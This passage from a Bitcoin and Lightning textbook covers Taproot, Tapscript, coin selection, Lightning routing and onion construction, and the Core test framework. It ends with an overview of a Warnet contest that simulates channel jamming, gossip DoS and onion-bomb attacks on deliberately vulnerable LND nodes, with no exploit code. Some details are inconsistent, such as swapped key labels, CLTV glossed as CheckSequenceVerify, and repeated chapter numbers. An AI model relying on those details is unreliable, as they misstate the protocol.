We “hide” this root inside the public key itself using a commitment scheme.

graph TD
    subgraph Structure["Taproot Structure"]
        INT["Internal Key (Q)"]
        ROOT["Merkle Root (T)"]
        OUT["Output Key (P)"]
    end
    
    subgraph Formula["Commitment"]
        F["P = Q + H(Q||T) * G"]
    end
    
    INT --> F
    ROOT --> F
    F --> OUT

9.4 Technical Implementation: Tweaking & Witness Programs

Sources: BIP 340 (Schnorr) & BIP 341 (Taproot)

Implementing Taproot requires moving from 33-byte ECDSA public keys to 32-byte X-only Schnorr keys and applying a cryptographic “tweak.”

1. X-Only Public Keys (BIP 340)

Schnorr signatures in Bitcoin use only the X-coordinate of a point on the secp256k1 curve.

  • The Y-coordinate is implicitly assumed to be even.
  • If a derived public key has an odd Y, the private key d is negated (n - d) to ensure the resulting point has an even Y.

2. The TapTweak (BIP 341)

The final on-chain public key P is a “tweaked” version of the internal key Q.

  1. Internal Key (Q): The original 32-byte X-only key.
  2. Tweak (t): t = TaggedHash("TapTweak", Q || MerkleRoot).
    • Note: If there are no script paths, the MerkleRoot is omitted.
  3. Output Key (P): P = Q + t*G.
  4. Private Key Update: The spender must use the tweaked private key p = q + t (where q is the internal private key).

3. Witness Program Construction

A Pay-to-Taproot (P2TR) output is defined by a specific Witness Program in the scriptPubKey:

  • Version: 0x51 (OP_1).
  • Length: 0x20 (32 bytes).
  • Program: The 32-byte Output Key P.
  • Final Hex: 5120<32_byte_P>.

Chapter 10: Spending Paths

A Taproot output can be spent in two ways. The spender chooses the path that grants the most privacy/efficiency for their situation.

10.1 Key Path Spend (The Happy Path)

If all parties agree (or if it’s a single user), they can sign with the Output Key (P).

  • Mechanism: They cooperate to create a Schnorr signature for the tweaked key.
  • On-Chain Footprint: One signature (64 bytes).
  • Privacy: Indistinguishable from a regular single-sig payment. The script tree remains hidden forever.

10.2 Script Path Spend (The Fallback)

If the Key Path is impossible (e.g., keys are lost, or parties disagree), a specific leaf from the tree can be used.

  • Mechanism:
    1. Reveal the Leaf Script.
    2. Reveal the Control Block (The Internal Key + Parity + Merkle Proof).
    3. Provide the satisfying data (signatures, etc.) for that specific script.
  • Privacy: Only the utilized leaf is revealed. All other branches remain hidden.
graph TD
    subgraph Spending["Spending Logic"]
        UTXO["Taproot UTXO"]
        CHOICE{Can we sign<br/>with Key Path?}
    end
    
    subgraph KeyPath["Key Path"]
        SIG["Provide 1 Schnorr Sig"]
        PRIV["Result: Efficient, Private"]
    end
    
    subgraph ScriptPath["Script Path"]
        REVEAL["Reveal Script + Control Block"]
        EXEC["Execute Script"]
        RES["Result: Proven valid, branches hidden"]
    end
    
    UTXO --> CHOICE
    CHOICE -->|Yes| SIG --> PRIV
    CHOICE -->|No| REVEAL --> EXEC --> RES

Chapter 11: Tapscript (BIP 342)

11.1 Updates to the Language

Tapscript is the name for the scripting language used in Taproot leaves.

  1. Schnorr-Native: OP_CHECKSIG now verifies Schnorr signatures (32-byte keys, 64-byte sigs).
  2. OP_CHECKSIGADD: Replaces OP_CHECKMULTISIG.
    • Legacy (SegWit v0): OP_CHECKMULTISIG was inefficient because it required the verifier to check every provided signature against potentially every public key until a match was found.
    • Tapscript: OP_CHECKSIGADD assumes a 1-to-1 mapping. It consumes a signature and a counter. If the signature is valid for the corresponding public key, it increments the counter. This allows for linear batch verification and strictly enforced ordering.
  3. Success Opcodes: Any opcode strictly undefined is now OP_SUCCESS. If a node encounters OP_SUCCESS, the script effectively returns “True” immediately (for the upgrader). This allows future soft forks to introduce new logic without breaking old nodes.

11.2 The Control Block

When spending via script path, you must provide the Control Block. This data structure proves that the script you are executing is indeed committed inside the Output Key.

  • Q (Internal Key): The starting point before the tweak.
  • Merkle Path: The hashes required to prove the script’s inclusion in the root.
  • Leaf Version: Currently 0xC0 (Tapscript).
classDiagram
    class ControlBlock {
        +byte leaf_version
        +byte[32] internal_key
        +vector~byte[32]~ merkle_path
    }
    class WitnessStack {
        +vector~byte~ ScriptArgs
        +byte[] Script
        +ControlBlock CB
    }

Part VII: Practical Implementation Patterns

Chapter 12: Coin Selection ⚠️

12.1 The Coin Selection Problem ✅

When you want to pay someone 0.1 BTC, your wallet might have dozens of UTXOs of various sizes (0.05, 0.2, 0.01…). Coin Selection is the algorithm that decides which specific “coins” to use. This is a variation of the “Knapsack Problem,” but with an added twist: we must also consider the privacy implications of creating “change” and the cost (fees) of including more inputs.

12.3 The Three Algorithms ⚠️

Contrary to popular belief, Bitcoin Core uses three distinct strategies to find the best set of coins, choosing the one that results in the lowest Waste Metric.

  1. Branch and Bound (BnB): Tries to find an exact match for the payment so that no change output is needed. This is the most efficient for privacy and fees.
  2. Knapsack: The legacy strategy that picks coins somewhat randomly to provide privacy.
  3. Single Random Draw (SRD): A simple fallback that picks coins until the target is met.
graph TD
    subgraph Selection["Waste Metric Selection"]
        BNB["BnB (Exact Match)"]
        KNAP["Knapsack"]
        SRD["SRD"]
        WASTE["Best = Lowest Waste"]
    end
    
    BNB --> WASTE
    KNAP --> WASTE
    SRD --> WASTE

Chapter 13: Transaction Building ⚠️

Building a transaction is a multi-step process that requires careful locking of the wallet state. Before selecting coins, the wallet must acquire the cs_wallet lock to ensure no other thread tries to spend the same coins at the same time. It then creates a “dummy” version of the transaction to calculate the exact size and fee, before finally producing the real signatures.

sequenceDiagram
    participant W as Wallet
    participant CS as Coin Selection
    participant SPKM as SPKM
    
    W->>W: Lock cs_wallet
    W->>CS: AvailableCoins()
    CS->>W: List Spendable UTXOs
    W->>CS: Choose via Waste Metric
    W->>SPKM: Sign for Inputs
    W->>W: testmempoolaccept
    W->>W: Broadcast

---

## Chapter 14: Blockchain Scanning & UTXO Accounting
> Source: [Bitcoin Core RPC Documentation](https://developer.bitcoin.org/reference/rpc/)

For watch-only wallets or indexers that do not rely on the built-in `CWallet` scanning, a custom blockchain traversal is required to calculate balances and track state.

### 14.1 The Scanning Loop
The most common pattern involves iterating through blocks sequentially via the RPC interface.
1.  **Block Hash**: Retrieve the hash for a specific height: `getblockhash <height>`.
2.  **Verbose Block**: Retrieve the full block data including transaction hexes: `getblock <hash> 2`.
3.  **Transaction Iteration**: Decode each transaction and inspect its inputs and outputs.

### 14.2 The UTXO Set Logic (Accounting)
To maintain an accurate balance, the application must manage a local set of **Unspent Transaction Outputs (UTXOs)**.

#### Input Processing (Gifts/Receiving)
For every output in a transaction:
1.  Compare the `scriptPubKey` against your list of derived addresses/programs.
2.  If it matches: 
    *   Add the amount to the total balance.
    *   Store the **Outpoint** (`txid:vout`) and its value in the local UTXO set.

#### Output Processing (Spending)
For every input in a transaction:
1.  Check if the input's `txid` and `vout` (Outpoint) exist in your local UTXO set.
2.  If it matches:
    *   Subtract the UTXO value from the total balance.
    *   Remove the Outpoint from the local UTXO set (it is now spent).

This "Double-Entry" style accounting ensures that the local balance reflects the on-chain reality without requiring a full node re-scan.

Part VIII: The Lightning Network

Chapter 15: Architecture & Operations

The Lightning Network is a Layer 2 protocol operating on top of Bitcoin. It enables instant, high-volume micropayments by keeping the majority of transactions “off-chain” and only settling the final results on the main Bitcoin blockchain.

This chapter explores the practical architecture of running a Lightning node, specifically focusing on the interaction between the Bitcoin Core (Layer 1) and LND (Layer 2) daemons.

15.1 Layer 1 to Layer 2 Communication (ZMQ)

A Lightning node cannot operate in isolation. It requires a real-time feed of blockchain data to detect:

  1. Channel Funding: When a funding transaction is confirmed.
  2. Channel Closing: When a channel is cooperatively or forcefully closed.
  3. Fraud Attempts: If a counterparty tries to broadcast an old state (breach).

To achieve this low-latency communication, we do not rely solely on RPC polling. Instead, we use ZeroMQ (ZMQ), a high-performance asynchronous messaging library. Bitcoin Core publishes events to specific ports (typically 28332/28333), and LND subscribes to them.

  • zmqpubrawblock: Publishes raw block data immediately.
  • zmqpubrawtx: Publishes raw transactions entering the mempool.

Source: Bitcoin Core - ZeroMQ Interface

15.2 Node Initialization & Compatibility

Running a Lightning node involves orchestrating two distinct services. Compatibility between the L1 backend and the L2 node is critical. For instance, modern Bitcoin Core versions (v28+) often require updated LND versions (v0.18.4-beta+) to handle changes in RPC responses or fee estimation logic.

Key Configuration (lnd.conf):

[Bitcoin]
bitcoin.active=1
bitcoin.node=bitcoind
bitcoin.zmqpubrawblock=tcp://127.0.0.1:28332
bitcoin.zmqpubrawtx=tcp://127.0.0.1:28333

Source: LND Configuration Guide

15.3 Liquidity: From On-Chain to Off-Chain

In the Lightning Network, “funds” are UTXOs locked in a 2-of-2 multisignature output shared between two peers. This is known as a Channel.

  1. Funding: You send on-chain Bitcoin to a generated multi-sig address.
  2. Locking: The transaction is mined (usually requiring 3-6 confirmations).
  3. Active: The channel is now “open,” and the balance is represented off-chain.

To fund a node, you typically generate a Layer 2 wallet address (lncli newaddress np2wkh), send Bitcoin from your Layer 1 wallet (bitcoin-cli sendtoaddress), and wait for the mining process.

Source: LND Wallet Management

15.4 The Payment Lifecycle (BOLT 11)

Lightning payments are invoice-based. A BOLT 11 invoice contains encoded instructions, including the payment hash, amount, and expiry.

The Flow:

  1. Invoice: Recipient generates a request (lncli addinvoice).
  2. Route: Sender calculates a path through the network graph.
  3. HTLC: Sender locks funds to the first hop hash.
  4. Settlement: If the path is valid, the recipient reveals the Preimage (a 32-byte secret). This preimage cascades back through the route, unlocking the funds for each hop.

The Preimage serves as cryptographic proof of payment.

Source: BOLT 11: Invoice Protocol

15.5 Network Topology & Gossip (BOLT 7)

Nodes discover each other via the Gossip Protocol. They broadcast:

  • Node Announcements: “I exist, here is my IP and PubKey.”
  • Channel Announcements: “We opened a channel (proven by this txid).”
  • Channel Updates: “My fee policy for this channel is X base sats + Y%.”

You can inspect the network graph using lncli describegraph or analyze specific channel policies with lncli getchaninfo. This data is essential for calculating fees and finding cheap routes.

Source: BOLT 7: P2P Node and Channel Discovery

15.6 Source Routing

While LND typically automates pathfinding, users can enforce Source Routing to manually dictate the payment path. This is useful for:

  • Privacy: Avoiding surveillance nodes.
  • Cost: Forcing a route through cheaper channels.
  • Testing: Debugging specific connections.

In LND, this is achieved by specifying the outgoing_chan_id (first hop) and last_hop (penultimate node) during payment.

Source: LND Routing & Pathfinding

Chapter 16: Route Mathematics & Logistics

In the Lightning Network, the burden of calculating a route falls entirely on the sender. This paradigm, known as Source Routing, contrasts sharply with the IP routing model where each router decides the next hop. This chapter explores the mathematical and logistical challenges a node faces when constructing a valid path for a payment.

1. Source Routing Paradigm

In the Lightning Network, the sender (Source) must construct the entire route to the destination before sending a single satoshi. This is critical for:

  • Privacy: Intermediate nodes only know their immediate predecessor and successor (Onion Routing). They do not know the ultimate sender or receiver.
  • Fee Predictability: The sender can calculate the exact cost of the transaction upfront.
  • Reliability: The sender can avoid nodes known to be offline or unreliable based on their local network view.

To achieve this, the sender maintains a local map of the network graph, built via the Gossip Protocol.

2. The Backward Propagation Algorithm

When calculating a route, one might intuitively start from the sender and move forward. However, in Lightning, route construction must happen backwards, from the Destination to the Source.

Why Backwards?

To construct a valid HTLC (Hash Time Locked Contract) for Hop N, you must know exactly how much to forward to Hop N+1. However, Hop N+1 will deduct a fee from the incoming amount before forwarding to Hop N+2. Therefore, you cannot know the input amount for Hop N until you have calculated the input amount for Hop N+1.

This dependency chain means we start with the Receiver, who expects a fixed Final Amount, and propagate the requirements backwards.

The Fee Formula

For each channel, the fee is composed of a base fee and a proportional fee (parts per million).

$$ Fee = BaseFee + \frac{Amount \times ProportionalFee}{1,000,000} $$

The amount to be received by the previous node is: $$ Amount_{prev} = Amount_{next} + Fee $$

3. HTLC Dynamics (Time & Value)

Money is not the only variable that propagates backwards; time does as well.

CLTV (CheckSequenceVerify) Delta

To ensure safety against cheating, each hop requires a time-lock buffer. If Hop N+1 claims funds, Hop N needs enough time to claim funds from Hop N-1 before the timeout. This buffer is the cltv_expiry_delta.

  • Cumulative Time-Lock: The sender must start with the current block height + receiver’s delay + sum(all intermediate deltas).

  • Validation: If a node receives an HTLC with insufficient expiry time (too close to the present), it will reject the payment to protect itself from race conditions.

  • Reference: BOLT #2: Channel Operations (HTLCs)

4. Multi-Part Payments (MPP) & TLV

Modern Lightning payments often exceed the capacity of a single channel. Multi-Part Payments (MPP) allow a sender to split a payment into multiple smaller “shards,” routed through different paths, which are reassembled by the receiver.

Atomicity in MPP

The receiver must not settle any shard until all shards have arrived. To coordinate this safely without revealing the total amount to intermediate nodes, we use TLV (Type-Length-Value) payloads in the final hop.

  • payment_secret: A secret known only to the sender and receiver. All shards must include this to prove they are part of the same payment.

  • total_msat: Tells the receiver the total amount expected. The receiver waits until the sum of incoming HTLCs equals this value before settling.

  • Reference: BOLT #4: Onion Routing Protocol (TLV)

Chapter 17: The Sphinx Protocol & Onion Construction

While Route Mathematics handles the logistics (amounts and delays), the Sphinx Protocol handles the cryptography and packaging. It ensures that the route information remains confidential and tamper-evident as it traverses the network.

1. The Onion Privacy Model

The Lightning Network uses a Sphinx-based onion routing packet. The core property of this design is Bitwise Unlinkability:

  • No Position Awareness: A node cannot tell if it is the first, fifth, or last hop (except by checking if the next hop is null).

  • Constant Size: The packet is always 1366 bytes. It does not shrink as layers are peeled off.

  • Indistinguishability: To an outside observer, all packets look like random noise.

  • Video Resource: Christian Decker - Onion Deep Dive

2. Shared Secrets & Key Derivation

The sender does not encrypt the packet with a single key. Instead, they perform an Elliptic Curve Diffie-Hellman (ECDH) key exchange with every node in the path.

The Ephemeral Key

The sender generates a session_key. From this, they derive an initial ephemeral public key. For each hop, the sender:

  1. Derives a Shared Secret using the hop’s public key and the current ephemeral key.
  2. Mixes the Shared Secret with the ephemeral key to generate the next ephemeral key (Blinding Factor).

This creates a chain where the Sender knows the secrets for everyone, but each Node only derives the secret meant for them.

From each Shared Secret, specific keys are derived:

  • rho: Used to generate the stream cipher (ChaCha20) for encryption.

  • mu: Used to generate the HMAC for integrity checks.

  • pad: Used for generating random padding (rarely used directly in modern construction).

  • Reference: BOLT #4: Key Generation

3. The Fixed-Size Packet Problem

To maintain privacy, the packet size must not reveal the distance to the destination.

  • Size: Fixed at 1366 bytes.
  • Structure:
    • Version (1 byte)
    • Public Key (33 bytes)
    • Hop Payloads (1300 bytes)
    • HMAC (32 bytes)

The “Shift & Insert” Technique

The onion is built backwards.

  1. Start with 1300 bytes of random noise.
  2. For the last hop: “Wrap” the payload.
  3. For the second-to-last hop:
    • Shift the entire 1300-byte frame to the right by the size of the payload.
    • Insert the current hop’s payload at the front.
    • Encrypt the whole frame using the ChaCha20 stream derived from rho.
    • Calculate the HMAC.

This ensures that when a node receives the packet, it decrypts it (peeling a layer) and sees its payload at the front, followed by what looks like more random noise (the next hop’s encrypted packet).

4. Filler Generation (The Hardest Part)

When a node “peels” a layer (decrypts and shifts left), the packet would naturally shrink. To prevent this, the node adds zero-padding at the end. However, if the node adds known zeroes, the next node could detect this.

To solve this, the sender calculates a Filler string. This filler is pre-calculated such that when a node adds its “zeroes” and decrypts, the “zeroes” transform into the exact encrypted bytes required for the end of the packet to look like random noise for the next hop.

“The filler is the overhanging end of the routing information.”

5. Integrity & HMAC Chaining

The packet includes a 32-byte HMAC.

  • The sender calculates the HMAC for Hop N based on the encrypted packet for Hop N+1.
  • When Hop N receives the packet, it verifies the HMAC using its derived mu key.
  • If the HMAC is valid, it guarantees the packet has not been tampered with and was constructed by someone who knows the shared secret.

This chaining mechanism ensures that if any bit is flipped in transit, the packet is rejected immediately.

References

Part IX: Engineering Labs

Chapter 18: Workshop: Hand-Crafting Taproot

This workshop focuses on the “bare metal” construction of Taproot transactions. We will bypass high-level libraries to implement the cryptographic “plumbing” defined in BIP 340, 341, and 342. This is essential for understanding why the protocol works the way it does.

18.1 The “Plumbing” of Protocol Upgrades (BIP 341)

In Taproot, every output is technically a pay-to-public-key. Even complex scripts are “hidden” inside a tweaked public key. To construct a Taproot address manually, we must perform this tweaking process ourselves.

The NUMS Point (Nothing Up My Sleeve)

When we want to create an output that is only spendable via a script (like a strict multisig) and not by a single key, we cannot just pick a random private key for the “Internal Key.” If we did, whoever knew that private key could bypass the script!

Instead, we use a NUMS point—a point on the curve for which no one knows the private key. A standard way to generate this is taking the hash of a seed string and treating it as the X-coordinate.

Source: BIP 341 - Constructing and Spending Taproot Outputs (See “Constructing and spending Taproot outputs”)

18.2 Manual Multisig Construction (BIP 342)

Tapscript (SegWit v1) changes how multisig works. The inefficient OP_CHECKMULTISIG (which required checking every public key against every signature) is removed.

Instead, we use a combination of OP_CHECKSIG and OP_CHECKSIGADD.

The Logic:

  1. <pubkey_A> OP_CHECKSIG: Consumes a signature. Pushes 1 (true) or 0 (false) to the stack.
  2. <pubkey_B> OP_CHECKSIGADD: Consumes a signature and the result of the previous operation. It checks the signature and adds the result (0 or 1) to the existing counter.
  3. <threshold> OP_EQUAL: Checks if the final sum equals the required threshold (e.g., 2).

The Script:

<PubKey_A> OP_CHECKSIG <PubKey_B> OP_CHECKSIGADD OP_2 OP_EQUAL

Source: BIP 342 - Script Validation Rules (See “Execution” regarding OP_CHECKSIGADD)

18.3 The Private Key Tweak (Key Path Spend)

This is the most common stumbling block. If you are spending via the Key Path, you are technically signing for the Output Key (Q), not your original Internal Key (P).

The Output Key is defined as: $$Q = P + H(P || m)G$$

Therefore, the valid private key for $Q$ is: $$d_{tweaked} = d_{internal} + H(P || m)$$

You must manually compute this scalar addition modulo the curve order. If you try to sign with just d_{internal}, the network will reject the signature because it doesn’t match the address on-chain.

Source: BIP 340 - Schnorr Signatures for secp256k1 (See “Design” regarding linearity)

18.4 Building the Control Block (Script Path Spend)

When spending via the Script Path, you must provide a “Control Block” in the witness stack. This block proves to the verifier that the script you are executing is indeed a leaf in the Merkle tree committed to in the address.

Structure of the Control Block:

  1. Leaf Version (1 byte): Usually 0xC0 (Tapscript) + the Parity Bit.
    • Parity Bit: Schnorr public keys must have an even Y-coordinate. If the tweaked key $Q$ ends up with an odd Y-coordinate, the parity bit is set (0x03), telling the verifier to flip the sign during validation.
  2. Internal Key (32 bytes): The original P (or NUMS point).
  3. Merkle Path (Variable): The list of hashes needed to prove the path from the script leaf to the root.

Source: BIP 341 - Spending rules (See “Script validation”)

18.5 Provably Unspendable Data (OP_RETURN)

To store data on-chain (like proving you completed a challenge), we use OP_RETURN. This opcode marks the output as invalid, meaning it can never be spent. This allows us to carry up to 80 bytes of arbitrary data without bloating the UTXO set, as full nodes can prune these outputs knowing they are dead ends.

OP_RETURN <data_bytes>

Part X: The Bitcoin Core Test Framework

Chapter 17: Simulation & Quality Assurance

“The functional tests are the most effective way to understand how the system behaves as a black box—and how to break it.”

17.1 The Philosophy of Testing Consensus

Bitcoin Core is not just software; it is a mechanism for reaching consensus. A bug in a web server might crash a page; a bug in Bitcoin Core can fracture the global financial ledger. As such, the testing methodology is rigorous, multilayered, and often adversarial.

The codebase employs multiple testing paradigms:

  1. Unit Tests (C++): Test individual functions and classes in isolation (e.g., script interpretation, serialization).
  2. Fuzz Testing: Feeds random inputs to critical parsers to find edge cases.
  3. Functional Tests (Python): The subject of this chapter. These test the node as a complete system, simulating the P2P network, RPC commands, and complex blockchain reorgs.

17.2 The Functional Test Architecture

The Functional Test Framework is a Python-based harness located in test/functional/. It does not link against the C++ code directly. Instead, it acts as a Puppeteer, spinning up compiled bitcoind binaries in separate processes and controlling them via standard interfaces.

The Test Controller

At the heart of every functional test is the BitcoinTestFramework class. When you write a new test, you inherit from this class. It handles:

  • Lifecycle Management: Starting and stopping bitcoind nodes.
  • Network Layout: Configuring how these nodes connect (e.g., linear topology, star topology).
  • Chain Initialization: Ensuring nodes start with a workable, deterministic blockchain state (usually regtest).

The Interface Bridge

The framework communicates with the nodes through two primary channels:

  1. RPC (JSON-RPC): The primary control plane. The Python test script calls methods like node.getblockchaininfo() or node.generate(). These map directly to the bitcoind RPC interface.
  2. P2P (The mininode): To test consensus rules properly, the test framework often needs to act as a peer. The P2PInterface allows the Python script to open a raw TCP socket to the node, complete the version handshake, and exchange binary Bitcoin messages (like block, tx, inv).

This dual-interface architecture allows the test to “cheat”—using RPC to inspect internal state—while simultaneously testing the node’s reaction to valid (or invalid) network traffic via P2P.

graph TD
    subgraph Test_Harness_Python["Python Test Harness (Test Runner)"]
        Script["Test Script<br/>(Subclass of BitcoinTestFramework)"]
        P2PObj["P2PInterface<br/>(Simulated Peer)"]
    end

    subgraph System_Under_Test["System Under Test (C++ Binaries)"]
        Node1["bitcoind Node 1<br/>(regtest)"]
        Node2["bitcoind Node 2<br/>(regtest)"]
    end

    Script --"JSON-RPC<br/>(Control & Query)"--> Node1
    Script --"JSON-RPC<br/>(Control & Query)"--> Node2
    
    P2PObj --"Raw TCP (P2P Message)"--> Node1
    Node1 --"P2P (Block Propagation)"--> Node2
    
    style Test_Harness_Python fill:#e1f5fe,stroke:#01579b
    style System_Under_Test fill:#fff3e0,stroke:#e65100

17.3 The BitcoinTestFramework Flow

Every functional test follows a specific lifecycle method execution order. Understanding this flow is critical for modifying or writing tests.

  1. set_test_params():

    • Where you define the static configuration: number of nodes, specific command-line arguments (e.g., -txindex), and chain parameters.
    • Example: “I need 3 nodes, and Node 0 needs -persistmempool=0.”

  2. setup_network() (Optional):

    • The framework provides a default setup (connecting nodes in a line). You override this if you need a specific topology (e.g., a partition attack where Node 0 cannot see Node 2).

  3. run_test():

    • The main body of the specific test logic.
    • Here, you generate blocks, send transactions, invalidate blocks to cause reorgs, and assert states.

Synchronization

One of the most complex aspects of distributed system testing is state propagation. When you generate a block on Node 0, Node 1 does not have it instantly. The framework provides helper methods to handle this indeterminism:

  • self.sync_all(): Waits until all nodes have the same tip and same mempool.
  • self.sync_blocks(): Waits only for block convergence.
  • self.wait_until(): A polling loop that waits for a specific lambda condition to be true (e.g., “wait until Node 2 sees the transaction”).

17.4 Manipulating State (The “Test The Test” Mindset)

To truly verify the system, we often need to introduce failure. The framework allows us to craft “invalid” scenarios that are impossible to produce with a standard client but trivial to construct with the P2P interface.

Script and Transaction Forgery

Using the P2P interface, you can construct a CMsgTx (the Python representation of a transaction) manually.

  • You can set the nLockTime to the future.
  • You can modify the nSequence to enable RBF (Replace-By-Fee).
  • You can build an invalid scriptSig or witness.

By sending this malformed transaction over the P2P connection, you verify that the node’s Validation Engine correctly identifies and rejects it (preferably with a punishment score).

Block invalidation

The RPC command invalidateblock(hash) is a powerful tool for testing reorg logic. It tells the node to treat a specific valid block as invalid. This forces the node to:

  1. Disconnect the tip.
  2. Roll back the UTXO set.
  3. Resurrect mempool transactions.
  4. Reconsider the next best chain.

This is fundamentally how we test that the node can survive a consensus failure or a malicious fork.

17.5 Debugging the Test Harness

When a test fails, specific tools help diagnose the issue:

  • Test Logs: Found in the temporary test directory. The test_framework.log shows the Python side, while each node has its own debug.log.
  • --tracerpc: Running the test with this flag prints every JSON-RPC call to the console, allowing you to see exactly what data is moving between the harness and the nodes.
  • --pdbonfailure: Drops you into a Python debugger shell exactly at the moment an assertion fails. This allows you to inspect variables and the state of the nodes interactively.

17.6 Summary

The Bitcoin Core Functional Test Framework is a simulation engine. It allows developers to act as the “Network,” orchestrating scenarios ranging from simple payments to complex consensus forks. Mastery of this framework—specifically the ability to effectively synchronize state and craft custom P2P messages—is the primary skill required to verify changes to the protocol.

Part XI: Warnet: The Wrath of Nalo

Chapter 18: A Practical Guide to Lightning Network Security Through Attack Simulation

18.1 Introduction

This chapter takes a sharp turn from wallet construction and on-chain Bitcoin into the Lightning Network — Bitcoin’s second-layer payment system. Where previous chapters focused on building, this one focuses on breaking. Not out of malice, but because understanding how systems fail is the deepest way to understand how they work.

The Wrath of Nalo is an interactive attack contest built on Warnet, a Bitcoin network simulation framework. Teams of participants are given control of a small fleet of Bitcoin and Lightning nodes (an “armada”) and tasked with executing real, documented attacks against designated target nodes.

Why study attacks? Every vulnerability disclosed in this chapter was a real CVE that put real funds at risk on the live Lightning Network. Understanding them isn’t academic — it’s essential for anyone building or operating Lightning infrastructure.

By the end of this chapter, you will understand:

  • How the Lightning Network layers on top of Bitcoin’s UTXO model
  • How payment channels and HTLCs work at the protocol level
  • How channel jamming exploits the finite HTLC slot design
  • How circuitbreaker attempts to mitigate jamming (and how it can still be defeated)
  • How bugs in gossip protocol handling and onion packet decoding lead to node crashes
  • How Warnet orchestrates all of this in a Kubernetes-based simulation

18.2 The Technology Stack

Before we attack anything, we need a mental model of the entire system. The Wrath of Nalo contest operates across five distinct technology layers, each building on the one below it.

graph TB
    subgraph "Layer 5: Orchestration"
        W[Warnet CLI] --> K[Kubernetes Cluster]
        K --> P[Pods: Bitcoin + LND + Sidecars]
        K --> S[Scenarios: Python Attack Scripts]
        K --> M[Monitoring: Grafana + Prometheus]
    end

    subgraph "Layer 4: Lightning Application"
        LND[LND Node] --> REST[REST / gRPC API]
        LND --> CB[Circuitbreaker Plugin]
        REST --> INV[Invoices & Payments]
        REST --> CH[Channel Management]
    end

    subgraph "Layer 3: Lightning Protocol"
        BOLT1[BOLT #1: Transport & Init] --> BOLT2[BOLT #2: Channels & HTLCs]
        BOLT2 --> BOLT4[BOLT #4: Onion Routing]
        BOLT4 --> BOLT7[BOLT #7: Gossip Protocol]
    end

    subgraph "Layer 2: Payment Channels"
        FUND[Funding Transaction] --> COMMIT[Commitment Transactions]
        COMMIT --> HTLC[HTLC Outputs]
        HTLC --> SETTLE[Settlement / Timeout]
    end

    subgraph "Layer 1: Bitcoin Base Layer"
        TX[Transactions & UTXOs] --> SCRIPT[Script & Multisig]
        SCRIPT --> BLOCK[Blocks & Confirmations]
        BLOCK --> SIGNET[Signet: Admin-Controlled Mining]
    end

    P --> LND
    LND --> BOLT1
    BOLT2 --> FUND
    FUND --> TX

    style W fill:#e1f5fe
    style LND fill:#fff3e0
    style BOLT1 fill:#f3e5f5
    style FUND fill:#e8f5e9
    style TX fill:#fce4ec

Key insight: Each attack in this contest targets a different layer. Channel jamming operates at Layers 2–4. The gossip DoS targets Layer 3 (BOLT #7). The onion bomb targets Layer 3 (BOLT #4). But the execution of all attacks flows through Layer 5 (Warnet + Kubernetes).

Chapter 19: Understanding Warnet

19.1 What Is Warnet?

Warnet is a framework that deploys realistic Bitcoin and Lightning Network topologies inside a Kubernetes cluster. Think of it as “Docker Compose for Bitcoin networks, at scale.”

Each “node” in the network becomes a Kubernetes pod containing:

graph LR
    subgraph "Pod: cancer-router-ln"
        BC[Bitcoin Core<br/>v29.0] --- LND2[LND<br/>v0.19.0-beta]
        LND2 --- EXP[Prometheus<br/>Exporter]
        LND2 --- CB2[Circuitbreaker<br/>optional]
    end

    subgraph "Pod: armada-1"
        BC2[Bitcoin Core<br/>v29.0] --- LND3[LND<br/>v0.19.0-beta]
    end

    BC ---|P2P: port 8333| BC2
    LND2 ---|P2P: port 9735| LND3
    LND3 ---|REST API: port 8080| CLI[Warnet CLI<br/>on your laptop]

    style CLI fill:#e1f5fe

19.2 The Battlefield Architecture

The contest deploys a multi-team network where each team has:

  1. An Armada (3 nodes you control) — your weapons
  2. Battlefield Nodes (6 nodes you attack) — your targets
  3. Vulnerable Nodes (2 nodes running old LND) — bonus targets
graph TB
    subgraph "Your Armada (wargames-cancer namespace)"
        A1[armada-1-ln<br/>🗡️ Sender]
        A2[armada-2-ln<br/>🗡️ Receiver]
        A3[armada-3-ln<br/>🗡️ CB Sender]
    end

    subgraph "Battlefield: Easy Path (default namespace)"
        SP[cancer-spender-ln<br/>💰 Sends 600 sat/5s]
        RT[cancer-router-ln<br/>🎯 TARGET]
        RC[cancer-recipient-ln<br/>💰 Receives]
        SP -->|channel| RT -->|channel| RC
    end

    subgraph "Battlefield: Hard Path (default namespace)"
        CBS[cancer-cb-spender-ln<br/>💰 Sends 600 sat/5s]
        CBR[cancer-cb-router-ln<br/>🎯 TARGET + Circuitbreaker]
        CBRC[cancer-cb-recipient-ln<br/>💰 Receives]
        CBS -->|channel + CB| CBR -->|channel + CB| CBRC
    end

    subgraph "Vulnerable Nodes (default namespace)"
        GV[cancer-gossip-vuln-ln<br/>💀 LND v0.18.2]
        OV[cancer-onion-vuln-ln<br/>💀 LND v0.16.4]
    end

    A1 ===|"channel: 5M sats"| RT
    A2 ===|"channel: 5M sats<br/>(push 2.5M)"| RT
    A3 ===|"channel: 5M sats"| CBS
    A2 ===|"channel: 5M sats<br/>(push 2.5M)"| CBRC

    style A1 fill:#bbdefb
    style A2 fill:#bbdefb
    style A3 fill:#bbdefb
    style RT fill:#ffcdd2
    style CBR fill:#ffcdd2
    style GV fill:#d1c4e9
    style OV fill:#d1c4e9

19.3 Warnet CLI — Your Command Interface

All interaction flows through the Warnet CLI, which translates your commands into Kubernetes API calls:

CommandWhat It Does
warnet statusShow all your pods and their state
warnet ln rpc <node> <command>Execute an LND RPC command on a node
warnet bitcoin rpc <node> <command>Execute a Bitcoin Core RPC command
warnet run scenarios/<file>.pyDeploy an attack scenario as a pod
warnet stopCancel running scenarios
warnet dashboardOpen Grafana + LN Visualizer
warnet auth <kubeconfig>Switch cluster authentication

Critical safety rule: warnet deploy and warnet down will create or destroy infrastructure. On the live battlefield, you should only use warnet run, warnet ln rpc, warnet bitcoin rpc, warnet status, and warnet stop.

Chapter 20: Lightning Channels and HTLCs — The Foundation

Before we can jam a channel, we need to understand what a channel is at the protocol level.

20.1 From UTXOs to Channels

A Lightning channel is a 2-of-2 multisig UTXO on the Bitcoin blockchain. When two parties “open a channel,” they co-sign a Bitcoin transaction that locks funds into this shared UTXO. They then exchange signed commitment transactions off-chain to update the balance between them.

sequenceDiagram
    participant A as armada-1
    participant Chain as Bitcoin Blockchain
    participant R as cancer-router

    A->>Chain: Funding TX (5M sats → 2-of-2 multisig)
    Note over Chain: Requires confirmations<br/>(~6 blocks on signet = ~6 min)
    Chain-->>A: Channel Active
    Chain-->>R: Channel Active

    Note over A,R: Off-chain: exchange commitment TXs
